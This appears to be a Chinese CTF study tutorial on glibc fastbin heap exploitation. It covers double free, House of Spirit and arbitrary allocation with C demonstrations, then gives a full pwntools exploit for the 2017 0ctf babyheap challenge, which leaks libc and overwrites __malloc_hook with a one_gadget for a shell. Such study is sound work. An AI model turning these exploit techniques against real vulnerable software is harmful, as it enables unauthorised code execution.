Fastbin Attack
漏洞发生于fastbin的chunk,且存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
分类:
- Fastbin Double Free
- House of Spirit
- Alloc to Stack
- Arbitrary Alloc
原理
fastbin 是单链表,fastbin chunk被释放时next_chunk 的 prev_inuse 位不会被清空。
…
Fastbin Double Free
同一个 fastbin chunk 可以被多次释放,使得 fastbin 链表中会存在多个指向同一个fastbin chunk的指针,多次分配就可能会取出同一个堆块。
在 fastbin 中利用成功的原因:
- next_chunk 的 pre_inuse 位不会被清空
- free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
示例
int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
return 0;
}
注意这里不能连续free相同chunk,否则因利用原因第2条会报错
第一次释放free(chunk1)
第二次释放free(chunk2)
第三次释放free(chunk1)
再次free chunk1的时候chunk1的fd变为chunk2,那么所有chunk1的fd都会指向chunk2。此时因为chunk1的fd不再为0,我们如果可以修改掉chunk1的fd,就可以使任意地址的空间成为fastbin的chunk。
以下示例将fastbin的chunk分配到bss段和栈上(fastbin dup into stack)
#include <stdio.h>
#include <stdlib.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;
bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
//BSS
chunk_a=malloc(0x10); //分配掉第1个chunk1
*(long long *)chunk_a=&bss_chunk;
//STACK
/*unsigned long long stack_var = 0x21;
unsigned long long *d = malloc(0x10);
*(long long *)d= (unsigned long long) (((char*)&stack_var) - sizeof(d));
*/
malloc(0x10); //分配掉chunk2
malloc(0x10); //分配掉第2个chunk1
chunk_b=malloc(0x10);
strcpy(chunk_b,"AAAAAAAA");
printf("%p\n",chunk_b);
return 0;
}
提前设置好size域以便fastbin检验堆大小。stack地址减了0x8使fd指向fake chunk
编译使用:
gcc -no-pie test.c -o test //-no-pie 可以更好用readelf观察bss段地址
gcc -g test.c //stack
更换libc.so为2.23版本
patchelf --replace-needed libc.so.6 你要换的libc的硬路径 ./pwn
patchelf --set-interpreter ld的硬路径 ./pwn
//libc较低版本才不会报double free 的错误
#查看bss地址
readelf -S test --> 0x404040
最终输出地址 --> 0x404070
#stack
printf出现Segment core错误,但gdb调试可以看到栈上的fake chunk是成功写入‘AAAAAAAA’
补充:
在libc-2.26中连续free并不会触发double free异常,这与tcache机制有关。
fastbin dup consolidate
有一种方法可以绕过double-free的异常检测,原理就是在分配large chunk的时候,会将fastbin中的chunk合并放入unsorted bin,再分别放入相应的bin中。这里fasbin会被清空,那么再free同一个指针时就一定不会检测出错误了。
示例
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
void *p1 = malloc(0x10);
void *p2 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void *p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
void *p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void *p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}
只是这里的两个相同chunk是一个放在fastbin中,一个放在了small bin中
…
House Of Spirit
通过在想要控制的可读写的一块fastbin 大小的区域上创建一个 fake chunk,然后 free 掉该 chunk 的mem指针,该 fake chunk 就会被放入fastbin中,再分配malloc一个fake chunk大小的堆时就会把堆分配到fake chunk区域,从而就可以控制该区域的内容。
示例
#include <stdio.h>
#include <stdlib.h>
int main() {
malloc(1);
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
fake_chunks[1] = 0x20; // the size
fake_chunks[5] = 0x1234; // nextsize
fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[6] = 0x4141414141414141LL;
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
b = malloc(0x10);
fprintf(stderr, "malloc(0x10): %p\n", b);
b[0] = 0x4242424242424242LL;
}
伪造fake chunk绕过一些检测的条件:
- IS_MMAPPED 和 NON_MAIN_ARENA 要为0
- next chunk大小在2*SIZE_SZ(0x10)和 system_mem(0x21000)之间
运行结果
…
Arbitrary Alloc
想要控制的地址附近存在字节错位,且有合法的size域,将程序中现有的这个合法的size(或伪造的)作为我们的size,然后覆盖fd为“size位置-0x8”,malloc最终会分配堆到这个地方,之后便填充这个堆来修改我们的目标地址即可。
示例
这里假设目标函数是__malloc_hook,对应目标地址为0x7ffff7dd1b00
int main(void)
{
void *chunk1;
void *chunk_a;
chunk1=malloc(0x60);
free(chunk1);
*(long long *)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
strcpy(chunk_a,"AAAAAAAA");
return 0;
}
在目标地址前面找一个合法size,0x7f刚好在0x20~0x80之间,0x7f位置在0x7ffff7dd1af5处
这里字节错位就是要满足打印0x7ffff7dd1af5地址下的内容得到0x0000000000007f
AAAAAAAA成功覆盖到栈上
…
实例 - 2017 0ctf babyheap
函数分析
- init_my:使用mmap初始化了一片内存,用于存放之后堆块的一些信息。
这片内存主要存放一个0x18大小结构体信息:
struct chunk{
int inuse;
int size;
char* ptr; //存放堆指针
}
- allocate:如果堆块是使用状态,calloc分配堆块并将堆块信息写、存入结构体。calloc与malloc不同的是将堆内存都初始化了为0。
- fill:接受索引获取相应堆块,输入size后输入size大小的content堆内容。这里的size再次自行输入,与分配时的size没有关系,存在堆溢出漏洞
- free_chunk:接收索引,释放堆指针,没有问题。
- dump:接收索引打印出相应堆块的content,可以用来泄露
利用思路
查看程序保护
- PIE:需要泄露libc地址,dump打印chunk内容,那么需要让chunk中存在libc的地址。首先chunk中的最常见地址指针就是fd和bk,如果free small chunk是在unsorted bin的话就有libc地址。
- Full RELRO:无法直接覆盖修改 got 地址下的内容,这时候一般就可以劫持hook函数,例如 malloc hook等。
…
利用分析
- 开辟5个chunk,4个fastbin大小,1个small bin大小
allocate(0x10) # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
2. 释放chunk2和chunk1
free(2)
free(1)
fastbin中有 fastbin[0]->idx1->idx2->NULL
情况
chunk1的fd指向chunk2
3. fill chunk0 堆溢出修改chunk1的fd的底1个字节为0x80,使fd指向chunk4。然后fill chunk3修改chunk4大小以过fastbin的size check。
注意,heap初始化使用brk()系统调用,且页(4KB)是内存分配的最小单位,所以vmmap得到的起始地址第三位是0x000,以便于我们知道chunk4地址只需修改fd底1字节即可,否则,这里难以使fd指向chunk4
# edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
# if we want to allocate at idx4, we must set it's size as 0x21
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
fastbin变为 fastbin[0]->idx1->idx4->NULL
4. 申请两个fastbin chunk,这两个chunk的指针分别放在了idx1 和 idx2 的位置,即idx4位置的内容被放入了idx2的位置,此时,idx2和idx4中的chunk指针都是chunk4的堆指针
allocate(0x10) # idx 1
allocate(0x10) # idx 2, which point to idx4's location
- 将chunk4大小修改回0x91,以过small bin的size check。同时先calloc一个small chunk,再free(4),防止与top chunk合并。
free chunk4之后,chunk4 被放入unsorted bin,其fd和bk指向unsorted bin的其实地址(在libc中),通过dump(2)其实也就dump出了chunk4的内容,从而泄露libc地址
# if want to free idx4 to unsorted bin, we must fix its size
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
# allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
allocate(0x80) # idx 5
free(4)
# as idx 2 point to idx4, just show this
dump(2)
- 这里libc_base的计算也和一般的不一样,我们泄露出的是unsortedbin_addr,而要求的是libc_base,具体看以下代码
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
p.recvuntil('Content: \n')
unsortedbin_addr = u64(p.recv(8))
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
log.success('main arena addr: ' + hex(main_arena))
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
log.success('libc base addr: ' + hex(libc_base))
简晰思路如下图
先根据unsortedbin_addr求得main_arena,在根据main_arena求得libc_base
7. 申请一个0x60的chunk,再free掉,用于后续匹配malloc hook的fake chunk的大小(0x7f-0x10),连系到字节错位
- 通过fill chunk2 将chunk4的fd修改为fake chunk地址。malloc hook地址在 main_arena 附近,所以通过main _arena得fake chunk地址即可
# edit idx4's fd point to fake chunk
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
此时 fastbin为 fastbin[0]->idx4->&fake chunk->NULL
9. calloc 两个 0x60 大小的chunk,idx6 就是指向fake chunk的地址
allocate(0x60) # idx 4
allocate(0x60) # idx 6
- 向idx6中写入字节错位相应的padding,在malloc hook下写入one_gadget,再次calloc触发malloc hook即可拿到shell
one_gadget_addr = libc_base + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
# trigger malloc_hook
allocate(0x100)
完整EXP
from pwn import *
context.binary = "./babyheap"
babyheap = context.binary
p = process("./babyheap")
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def fill(idx, size, content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(content)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
def exp():
# 1. leak libc base
gdb.attach(p)
allocate(0x10) # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
# free idx 1, 2, fastbin[0]->idx1->idx2->NULL
free(2)
free(1)
# edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
# if we want to allocate at idx4, we must set it's size as 0x21
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10) # idx 1
allocate(0x10) # idx 2, which point to idx4's location
# if want to free idx4 to unsorted bin, we must fix its size
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
# allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
allocate(0x80) # idx 5
free(4)
# as idx 2 point to idx4, just show this
dump(2)
p.recvuntil('Content: \n')
unsortedbin_addr = u64(p.recv(8))
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
log.success('main arena addr: ' + hex(main_arena))
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
log.success('libc base addr: ' + hex(libc_base))
# 2. malloc to malloc_hook nearby
# allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4
allocate(0x60)
free(4)
# edit idx4's fd point to fake chunk
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60) # idx 4
allocate(0x60) # idx 6
one_gadget_addr = libc_base + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
# trigger malloc_hook
allocate(0x100)
p.interactive()
exp()